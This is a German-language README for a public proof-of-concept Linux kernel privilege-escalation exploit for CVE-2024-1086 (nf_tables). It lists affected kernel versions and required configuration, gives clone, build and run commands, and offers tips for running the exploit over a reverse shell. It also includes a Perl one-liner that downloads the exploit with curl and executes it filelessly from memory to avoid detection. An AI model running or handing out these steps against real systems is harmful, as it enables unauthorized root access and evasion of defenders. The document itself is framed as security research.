
Universeller lokaler Privilege-Escalation-Proof-of-Concept-Exploit für CVE-2024-1086, der auf den meisten Linux-Kerneln zwischen v5.14 und v6.6 funktioniert, einschließlich Debian, Ubuntu und KernelCTF. Die Erfolgsrate in KernelCTF-Images beträgt 99,4 %.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Eine vollständige Beschreibung des Exploits – einschließlich Hintergrundinformationen und vielen nützlichen Diagrammen – finden Sie im Flipping Pages Blogbeitrag.
Der Exploit betrifft Versionen von v5.14 (einschließlich) bis v6.6 (einschließlich), mit Ausnahme der gepatchten Zweige v5.15.149>, v6.1.76>, v6.6.15>. Der Patch für diese Versionen wurde im Februar 2024 veröffentlicht. Die zugrunde liegende Schwachstelle betrifft alle Versionen (mit Ausnahme gepatchter stabiler Zweige) von v3.15 bis v6.8-rc1.
Wichtige Hinweise:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (einschließlich Ubuntu v6.5)CONFIG_USER_NS=y), die unprivilegiert sein müssen (sh-Befehl sysctl kernel.unprivileged_userns_clone = 1), sowie aktiviertes nf_tables (kconfig CONFIG_NF_TABLES=y). Standardmäßig sind diese auf Debian, Ubuntu und KernelCTF alle aktiviert. Andere Distributionen wurden nicht getestet, könnten aber ebenfalls funktionieren. Zusätzlich wurde der Exploit nur auf x64/amd64 getestet.Die Standardwerte sollten auf Debian, Ubuntu und KernelCTF mit einer lokalen Shell sofort funktionieren. Bei nicht getesteten Setups/Distributionen stellen Sie bitte sicher, dass die kconfig-Werte mit dem Zielkern übereinstimmen. Diese können in src/config.h angegeben werden. Wenn Sie den Exploit auf einer Maschine mit mehr als 32GiB physischem Speicher ausführen, erhöhen Sie unbedingt CONFIG_PHYS_MEM.
Wenn Sie den Exploit über SSH (auf der Testmaschine) oder eine Reverse-Shell ausführen, möchten Sie möglicherweise CONFIG_REDIRECT_LOG auf 1 setzen, um unnötige Netzwerkaktivität zu vermeiden.
Falls das für Sie unpraktisch ist, gibt es eine kompilierte x64-Binärdatei mit der Standardkonfiguration.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Binärdatei: CVE-2024-1086/exploit
Das Ausführen des Exploits ist ebenso trivial:
./exploit
Dateilose Ausführung wird ebenfalls unterstützt, für den Fall von Pentest-Situationen, in denen Erkennungen vermieden werden müssen. Allerdings muss Perl auf dem Zielsystem installiert sein:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Die Programme und Skripte („Programme“) in diesem Softwareverzeichnis/-ordner/-repository („Repository“) werden nur zu Bildungs-/Forschungszwecken veröffentlicht, entwickelt und verteilt. Ich („der Ersteller“) billige keine böswillige oder illegale Nutzung der Programme in diesem Repository, da die Absicht darin besteht, Forschung zu teilen und keine illegalen Aktivitäten damit durchzuführen. Ich bin rechtlich nicht verantwortlich für das, was Sie mit den Programmen in diesem Repository tun.